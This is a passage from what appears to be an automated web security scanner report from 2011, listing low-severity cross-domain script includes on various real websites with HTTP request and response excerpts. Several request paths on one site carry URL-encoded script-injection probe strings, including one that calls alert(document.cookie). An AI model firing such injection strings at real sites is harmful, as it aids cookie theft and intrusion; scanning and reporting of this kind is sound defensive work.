Set-Cookie: PHPSESSID=599ee4e27da0b537e792a372d516bdda; path=/
Cache-Control: must-revalidate, no-cache
Set-Cookie: referer=80899; expires=Wed, 06 Apr 2011 21:51:05 GMT; path=/; domain=.getclicky.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 45095

<!doctype html>
<html>
<head>
<title>Web Analytics in Real Time | Clicky</title>
<meta name="description" content="Clicky Web Analytics is simply the best way to monitor, analyze, and react to your bl
...[SNIP]...
<link href="http://static.getclicky.com/inc/style.css?2011-01-10" rel="stylesheet" type="text/css" />
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.1/jquery.min.js"></script>
...[SNIP]...
</script>
<script src="http://maps.google.com/maps?file=api&v=2&key=ABQIAAAAD5Jstda2eJFaCFTWu7X56xRiGe9y_5r1Y57_b5Ulrkj1HY5QKxTHQW20rhZrqf_DvfkLJEXsmPsWIw"></script>
...[SNIP]...

21.35. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The response dynamically includes the following scripts from other domains:

http://pagead2.googlesyndication.com/pagead/js/graphics.js
http://pagead2.googlesyndication.com/pagead/sma8.js

Request

Response

21.36. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The response dynamically includes the following scripts from other domains:

http://pagead2.googlesyndication.com/pagead/js/abg.js
http://pagead2.googlesyndication.com/pagead/js/graphics.js

Request

Response

21.37. http://groups.google.com/group/jquery-dev/browse_thread/thread/36395b7ab510dd5d previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://groups.google.com
Path:	/group/jquery-dev/browse_thread/thread/36395b7ab510dd5d

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

Response

21.38. http://gsgd.co.uk/sandbox/jquery/easing/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://gsgd.co.uk
Path:	/sandbox/jquery/easing/

Issue detail

The response dynamically includes the following scripts from other domains:

http://pagead2.googlesyndication.com/pagead/show_ads.js
http://www.google-analytics.com/urchin.js

Request

GET /sandbox/jquery/easing/ HTTP/1.1
Host: gsgd.co.uk
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:49:24 GMT
Server: Apache/1.3.41
X-Powered-By: PHP/5.2.6
Connection: close
Content-Type: text/html
Content-Length: 11596

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
</style>
<script src="http://www.google-analytics.com/urchin.js" type="text/javascript"></script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...

21.39. http://hellotxt.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://hellotxt.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
http://maps.google.com/maps/api/js?sensor=false
http://static.ak.connect.facebook.com/js/api_lib/v0.4/FeatureLoader.js.php

Request

GET / HTTP/1.1
Host: hellotxt.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:49:24 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 05 Feb 2011 22:49:24 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=0e18f424g79t43jjqhrcjrriq4; expires=Fri, 02 Dec 2011 22:49:24 GMT; path=/; domain=.hellotxt.com
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 12639

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/
...[SNIP]...
<![endif]--> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
...[SNIP]...
</script> <script src="http://static.ak.connect.facebook.com/js/api_lib/v0.4/FeatureLoader.js.php" type="text/javascript"></script>
...[SNIP]...
</script> <script type="text/javascript" src="http://maps.google.com/maps/api/js?sensor=false"></script>
...[SNIP]...

21.40. http://hhonors1.hilton.com/en_US/hh/home_index.do previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://hhonors1.hilton.com
Path:	/en_US/hh/home_index.do

Issue detail

The response dynamically includes the following script from another domain:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js

Request

GET /en_US/hh/home_index.do HTTP/1.1
Host: hhonors1.hilton.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

21.41. http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type/product_problem previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://homeappliance.manualsonline.com
Path:	/ex/mfg/headline/m/ariens/d/type/product_problem

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/prototype/1.7.0.0/prototype.js
http://ajax.googleapis.com/ajax/libs/scriptaculous/1.8.3/scriptaculous.js?load=builder,effects
http://c03.adsummos.net/a/e/s21719
http://partner.googleadservices.com/gampad/google_service.js
http://px.owneriq.net/j?s=-br&t[]=m|145
http://s3.amazonaws.com/new.cetrk.com/pages/scripts/0010/9642.js
http://session.owneriq.net/regman/mem/initsession?sessionargs=YToyOntzOjM6InVyaSI7czo0ODoiL2V4L21mZy9oZWFkbGluZS9tL2FyaWVucy9kL3R5cGUvcHJvZHVjdF9wcm9ibGVtIjtzOjY6InNlcnZlciI7czozMToiaG9tZWFwcGxpYW5jZS5tYW51YWxzb25saW5lLmNvbSI7fQ,,

Request

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:51:06 GMT
Server: Apache/2.2.14 (Fedora)
X-Powered-By: PHP/5.2.9
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 45370

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<meta name="keywords" content="appliance manuals, appliance manual, home appliance manual, home appliance manuals" />
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/prototype/1.7.0.0/prototype.js"></script>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/scriptaculous/1.8.3/scriptaculous.js?load=builder,effects"></script>
...[SNIP]...
</script>

<script src="http://c03.adsummos.net/a/e/s21719" type="text/javascript"></script>
...[SNIP]...
</script><script src="http://session.owneriq.net/regman/mem/initsession?sessionargs=YToyOntzOjM6InVyaSI7czo0ODoiL2V4L21mZy9oZWFkbGluZS9tL2FyaWVucy9kL3R5cGUvcHJvZHVjdF9wcm9ibGVtIjtzOjY6InNlcnZlciI7czozMToiaG9tZWFwcGxpYW5jZS5tYW51YWxzb25saW5lLmNvbSI7fQ,," type="text/javascript"></script>
...[SNIP]...

           <script type='text/javascript' src='http://partner.googleadservices.com/gampad/google_service.js'>
           </script>
...[SNIP]...
</script>

   <script type="text/javascript" src="http://px.owneriq.net/j?s=-br&t[]=m|145"></script>
...[SNIP]...

<script type="text/javascript" src="http://s3.amazonaws.com/new.cetrk.com/pages/scripts/0010/9642.js"> </script>
...[SNIP]...

Summary

Severity:	Information
Confidence:	Certain
Host:	http://homeappliance.manualsonline.com
Path:	/ex/mfg/headline/m/ariens/d/type1a19b%252527%25253balert%2525281%252529%25252f%25252f35f276845e/product_problem&hl=en&client=ca-pub-4582869284305424&adU=www.Rackspace.com/Exchange_Hosting&adT=ImageAd&gl=US&usg=AFQjCNFHyAxyRcv5LqEhS2qHXwW0t83rLQ/

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/prototype/1.7.0.0/prototype.js
http://ajax.googleapis.com/ajax/libs/scriptaculous/1.8.3/scriptaculous.js?load=builder,effects
http://c03.adsummos.net/a/e/s21719
http://partner.googleadservices.com/gampad/google_service.js
http://px.owneriq.net/j?s=-br&t[]=m|145
http://s3.amazonaws.com/new.cetrk.com/pages/scripts/0010/9642.js

Request

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:49:27 GMT
Server: Apache/2.2.14 (Fedora)
X-Powered-By: PHP/5.2.9
Set-Cookie: memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; expires=Mon, 07-Mar-2011 22:49:27 GMT; path=/; domain=.manualsonline.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 45919

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<meta name="keywords" content="appliance manuals, appliance manual, home appliance manual, home appliance manuals" />
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/prototype/1.7.0.0/prototype.js"></script>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/scriptaculous/1.8.3/scriptaculous.js?load=builder,effects"></script>
...[SNIP]...
</script>

<script src="http://c03.adsummos.net/a/e/s21719" type="text/javascript"></script>
...[SNIP]...

           <script type='text/javascript' src='http://partner.googleadservices.com/gampad/google_service.js'>
           </script>
...[SNIP]...
</script>

   <script type="text/javascript" src="http://px.owneriq.net/j?s=-br&t[]=m|145"></script>
...[SNIP]...

<script type="text/javascript" src="http://s3.amazonaws.com/new.cetrk.com/pages/scripts/0010/9642.js"> </script>
...[SNIP]...

21.43. http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type1a19b%27%3balert%281%29%2f%2f35f276845e/product_problem/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://homeappliance.manualsonline.com
Path:	/ex/mfg/headline/m/ariens/d/type1a19b%27%3balert%281%29%2f%2f35f276845e/product_problem/

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/prototype/1.7.0.0/prototype.js
http://ajax.googleapis.com/ajax/libs/scriptaculous/1.8.3/scriptaculous.js?load=builder,effects
http://c03.adsummos.net/a/e/s21719
http://partner.googleadservices.com/gampad/google_service.js
http://px.owneriq.net/j?s=-br
http://s3.amazonaws.com/new.cetrk.com/pages/scripts/0010/9642.js

Request

Response

HTTP/1.0 404 Not Found
Date: Sat, 05 Feb 2011 22:49:29 GMT
Server: Apache/2.2.14 (Fedora)
X-Powered-By: PHP/5.2.9
Set-Cookie: memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; expires=Mon, 07-Mar-2011 22:49:29 GMT; path=/; domain=.manualsonline.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<meta name="keywords" content="404 error page" />
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/prototype/1.7.0.0/prototype.js"></script>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/scriptaculous/1.8.3/scriptaculous.js?load=builder,effects"></script>
...[SNIP]...
</script>

<script src="http://c03.adsummos.net/a/e/s21719" type="text/javascript"></script>
...[SNIP]...

           <script type='text/javascript' src='http://partner.googleadservices.com/gampad/google_service.js'>
           </script>
...[SNIP]...
</script>

   <script type="text/javascript" src="http://px.owneriq.net/j?s=-br"></script>
...[SNIP]...

<script type="text/javascript" src="http://s3.amazonaws.com/new.cetrk.com/pages/scripts/0010/9642.js"> </script>
...[SNIP]...

Summary

Severity:	Information
Confidence:	Certain
Host:	http://homeappliance.manualsonline.com
Path:	/ex/mfg/headline/m/ariens47888%252527%25253balert%252528document.cookie%252529%25252f%25252f8fcf167d281/d/type/product_problem&hl=en&client=ca-pub-4582869284305424&adU=www.Rackspace.com/Exchange_Hosting&adT=ImageAd&gl=US&usg=AFQjCNFt7K-JBKpz6-rzEu72zZg5MwT1cg/

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/prototype/1.7.0.0/prototype.js
http://ajax.googleapis.com/ajax/libs/scriptaculous/1.8.3/scriptaculous.js?load=builder,effects
http://c03.adsummos.net/a/e/s21719
http://partner.googleadservices.com/gampad/google_service.js
http://px.owneriq.net/j?s=-br
http://s3.amazonaws.com/new.cetrk.com/pages/scripts/0010/9642.js

Request

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:04:09 GMT
Server: Apache/2.2.14 (Fedora)
X-Powered-By: PHP/5.2.9
Set-Cookie: memSessionId=5378e2dc-3193-11e0-bdbb-0030485f67c6; expires=Tue, 08-Mar-2011 16:04:09 GMT; path=/; domain=.manualsonline.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 47344

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<meta name="keywords" content="appliance manuals, appliance manual, home appliance manual, home appliance manuals" />
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/prototype/1.7.0.0/prototype.js"></script>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/scriptaculous/1.8.3/scriptaculous.js?load=builder,effects"></script>
...[SNIP]...
</script>

<script src="http://c03.adsummos.net/a/e/s21719" type="text/javascript"></script>
...[SNIP]...

           <script type='text/javascript' src='http://partner.googleadservices.com/gampad/google_service.js'>
           </script>
...[SNIP]...
</script>

   <script type="text/javascript" src="http://px.owneriq.net/j?s=-br"></script>
...[SNIP]...

<script type="text/javascript" src="http://s3.amazonaws.com/new.cetrk.com/pages/scripts/0010/9642.js"> </script>
...[SNIP]...

21.45. http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%27%3balert%28document.cookie%29%2f%2f8fcf167d281/d/type/product_problem/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://homeappliance.manualsonline.com
Path:	/ex/mfg/headline/m/ariens47888%27%3balert%28document.cookie%29%2f%2f8fcf167d281/d/type/product_problem/

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/prototype/1.7.0.0/prototype.js
http://ajax.googleapis.com/ajax/libs/scriptaculous/1.8.3/scriptaculous.js?load=builder,effects
http://c03.adsummos.net/a/e/s21719
http://partner.googleadservices.com/gampad/google_service.js
http://px.owneriq.net/j?s=-br
http://s3.amazonaws.com/new.cetrk.com/pages/scripts/0010/9642.js

Request

Response

HTTP/1.0 404 Not Found
Date: Sat, 05 Feb 2011 22:49:36 GMT
Server: Apache/2.2.14 (Fedora)
X-Powered-By: PHP/5.2.9
Set-Cookie: memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; expires=Mon, 07-Mar-2011 22:49:36 GMT; path=/; domain=.manualsonline.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<meta name="keywords" content="404 error page" />
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/prototype/1.7.0.0/prototype.js"></script>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/scriptaculous/1.8.3/scriptaculous.js?load=builder,effects"></script>
...[SNIP]...
</script>

<script src="http://c03.adsummos.net/a/e/s21719" type="text/javascript"></script>
...[SNIP]...

           <script type='text/javascript' src='http://partner.googleadservices.com/gampad/google_service.js'>
           </script>
...[SNIP]...
</script>

   <script type="text/javascript" src="http://px.owneriq.net/j?s=-br"></script>
...[SNIP]...

<script type="text/javascript" src="http://s3.amazonaws.com/new.cetrk.com/pages/scripts/0010/9642.js"> </script>
...[SNIP]...

21.46. http://homeappliance.manualsonline.com/managemystuff.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://homeappliance.manualsonline.com
Path:	/managemystuff.html

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/prototype/1.7.0.0/prototype.js
http://ajax.googleapis.com/ajax/libs/scriptaculous/1.8.3/scriptaculous.js?load=builder,effects
http://c03.adsummos.net/a/e/s21719
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://partner.googleadservices.com/gampad/google_service.js
http://px.owneriq.net/j?s=-br
http://s3.amazonaws.com/new.cetrk.com/pages/scripts/0010/9642.js

Request

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:49:58 GMT
Server: Apache/2.2.14 (Fedora)
X-Powered-By: PHP/5.2.9
Set-Cookie: memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; expires=Mon, 07-Mar-2011 22:49:58 GMT; path=/; domain=.manualsonline.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 58505

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<meta name="keywords" content="appliance manuals, appliance manual, home appliance manual, home appliance manuals" />
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/prototype/1.7.0.0/prototype.js"></script>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/scriptaculous/1.8.3/scriptaculous.js?load=builder,effects"></script>
...[SNIP]...
</script>

<script src="http://c03.adsummos.net/a/e/s21719" type="text/javascript"></script>
...[SNIP]...

           <script type='text/javascript' src='http://partner.googleadservices.com/gampad/google_service.js'>
           </script>
...[SNIP]...
</script>
           <script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
           </script>
...[SNIP]...
</script>

   <script type="text/javascript" src="http://px.owneriq.net/j?s=-br"></script>
...[SNIP]...

<script type="text/javascript" src="http://s3.amazonaws.com/new.cetrk.com/pages/scripts/0010/9642.js"> </script>
...[SNIP]...

21.47. http://identi.ca/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://identi.ca
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://analytics.status.net/piwik.js
http://js.status.net/0.9.6/jquery.cookie.js?version=0.9.6
http://js.status.net/0.9.6/jquery.form.js?version=0.9.6
http://js.status.net/0.9.6/jquery.joverlay.min.js?version=0.9.6
http://js.status.net/0.9.6/jquery.min.js?version=0.9.6
http://js.status.net/0.9.6/util.js?version=0.9.6
http://meteor4.identi.ca/meteor.js

Request

GET / HTTP/1.1
Host: identi.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:50:12 GMT
Server: Apache/2.2.11 (Ubuntu) PHP/5.2.6-3ubuntu4.6 with Suhosin-Patch mod_ssl/2.2.11 OpenSSL/0.9.8g
X-Powered-By: PHP/5.2.6-3ubuntu4.6
Set-Cookie: PHPSESSID=e388a003ef12638804228edaa3f744b8; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,Cookie
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 43202

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta
...[SNIP]...
</div>
<script type="text/javascript" src="http://js.status.net/0.9.6/jquery.min.js?version=0.9.6"> </script>
<script type="text/javascript" src="http://js.status.net/0.9.6/jquery.form.js?version=0.9.6"> </script>
<script type="text/javascript" src="http://js.status.net/0.9.6/jquery.cookie.js?version=0.9.6"> </script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://js.status.net/0.9.6/jquery.joverlay.min.js?version=0.9.6"> </script>
<script type="text/javascript" src="http://js.status.net/0.9.6/util.js?version=0.9.6"> </script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://meteor4.identi.ca/meteor.js"> </script>
...[SNIP]...
</script>
<script type="text/javascript" src="//analytics.status.net/piwik.js"> </script>
...[SNIP]...

21.48. http://imera.com.br/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://imera.com.br
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://pagead2.googlesyndication.com/pagead/show_ads.js
http://www.addtoany.com/menu/feed.js
http://www.guiamais.com.br/ferramentas/widgets/caixa-de-busca.js?size=200&where=Brasil

Request

GET / HTTP/1.1
Host: imera.com.br
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:54:46 GMT
Server: Apache/2.2.6 (Fedora)
Set-Cookie: JSESSIONID=3F0AAFD21BC620CD5628A56E4B94EB70; Path=/
Cache-Control: no-store, max-age=0, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Expires: Wed, 31 Dec 1969 23:59:59 GMT
Connection: close
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 41531

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html>
<head>
<meta http-equiv="Content-Type" content="text/ht
...[SNIP]...
<br/>
<script src="http://www.guiamais.com.br/ferramentas/widgets/caixa-de-busca.js?size=200&where=Brasil" type="text/javascript"></script>
...[SNIP]...
</script><script type="text/javascript" src="http://www.addtoany.com/menu/feed.js"></script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...

21.49. http://info.riministreet.com/50percentsavings.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://info.riministreet.com
Path:	/50percentsavings.html

Issue detail

The response dynamically includes the following scripts from other domains:

http://munchkin.marketo.net/js/munchkin.js
http://t4.trackalyzer.com/trackalyze.js

Request

GET /50percentsavings.html HTTP/1.1
Host: info.riministreet.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Set-Cookie: ARPT=LKZYVMSCw1CYWY; path=/
Date: Sun, 06 Feb 2011 16:01:21 GMT
Server: Apache
Content-Length: 15956
Vary: *,Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/2000/REC-xhtml1-200000126/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" l
...[SNIP]...
</script>
<script type="text/javascript" language="javascript" src="http://t4.trackalyzer.com/trackalyze.js"></script>
...[SNIP]...
</div>
<script type="text/javascript" src="http://munchkin.marketo.net/js/munchkin.js"></script>
...[SNIP]...

21.50. http://itunes.apple.com/us/app/orthosupersite/id401876377 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://itunes.apple.com
Path:	/us/app/orthosupersite/id401876377

Issue detail

The response dynamically includes the following scripts from other domains:

http://ax.phobos.apple.com.edgesuite.net/htmlResources/FE60/web-storefront-base.jsz
http://ax.phobos.apple.com.edgesuite.net/htmlResources/FE60/web-storefront-preview.jsz

Request

GET /us/app/orthosupersite/id401876377 HTTP/1.1
Host: itunes.apple.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Last-Modified: Sat, 05 Feb 2011 21:51:13 GMT
x-apple-orig-url-path: /us/app/orthosupersite/id401876377
x-apple-application-site: CUP
x-apple-max-age: 3600
Content-Type: text/html
x-apple-woa-inbound-url: /WebObjects/MZStore.woa/wa/viewSoftware?cc=us&id=401876377
x-apple-application-instance: 6140
x-apple-aka-ttl: Generated Sat Feb 05 13:51:13 PST 2011, Expires Sat Feb 05 13:52:13 PST 2011, TTL 60s
x-webobjects-loadaverage: 0
Cache-Control: no-transform, max-age=58
Date: Sat, 05 Feb 2011 21:51:15 GMT
Content-Length: 27956
Connection: close
X-Apple-Partner: origin.0

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.apple.com/itms/" lang="en">

<head>
<!-- parent component = "SEOHSoftware
...[SNIP]...
<link rel="stylesheet" type="text/css" href="http://ax.phobos.apple.com.edgesuite.net/htmlResources/FE60/web-storefront-preview.cssz" />

<script type="text/javascript" charset="utf-8" src="http://ax.phobos.apple.com.edgesuite.net/htmlResources/FE60/web-storefront-base.jsz"></script>
<script type="text/javascript" charset="utf-8" src="http://ax.phobos.apple.com.edgesuite.net/htmlResources/FE60/web-storefront-preview.jsz"></script>
...[SNIP]...

21.51. http://jquery.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://jquery.com
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js

Request

GET / HTTP/1.1
Host: jquery.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:51:16 GMT
Server: Apache/2.2.3 (CentOS)
Last-Modified: Mon, 31 Jan 2011 15:06:39 GMT
ETag: "7520fc2-3ea2-c344bdc0"
Accept-Ranges: bytes
Content-Length: 16034
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
   <html>
   <head>
       <meta http-equiv="content-type" content="text/html; charset=utf-8" />
       <title>jQuery: The Write Less, Do More, JavaScript Library</title>
       <link rel="stylesheet" hr
...[SNIP]...
<link rel="stylesheet" href="http://static.jquery.com/files/rocker/css/screen.css" type="text/css" />
       <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
...[SNIP]...

21.52. http://jquery.org/license previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://jquery.org
Path:	/license

Issue detail

The response dynamically includes the following script from another domain:

http://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js

Request

GET /license HTTP/1.1
Host: jquery.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:51:08 GMT
Server: Apache/2.2.3 (CentOS)
Last-Modified: Sat, 05 Feb 2011 22:14:38 GMT
ETag: "79985e2-206a-53100f80"
Accept-Ranges: bytes
Content-Length: 8298
Cache-Control: max-age=300, must-revalidate
Expires: Sat, 05 Feb 2011 22:56:08 GMT
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US">
<head profile="http
...[SNIP]...
<link rel="stylesheet" type="text/css" href="http://static.jquery.com/org/style.css" />
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js"></script>
...[SNIP]...

21.53. http://jqueryui.com/about previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/about

Issue detail

The response dynamically includes the following script from another domain:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js

Request

GET /about HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:51:08 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 15111

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - About jQuery UI - The jQuery UI Team</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,
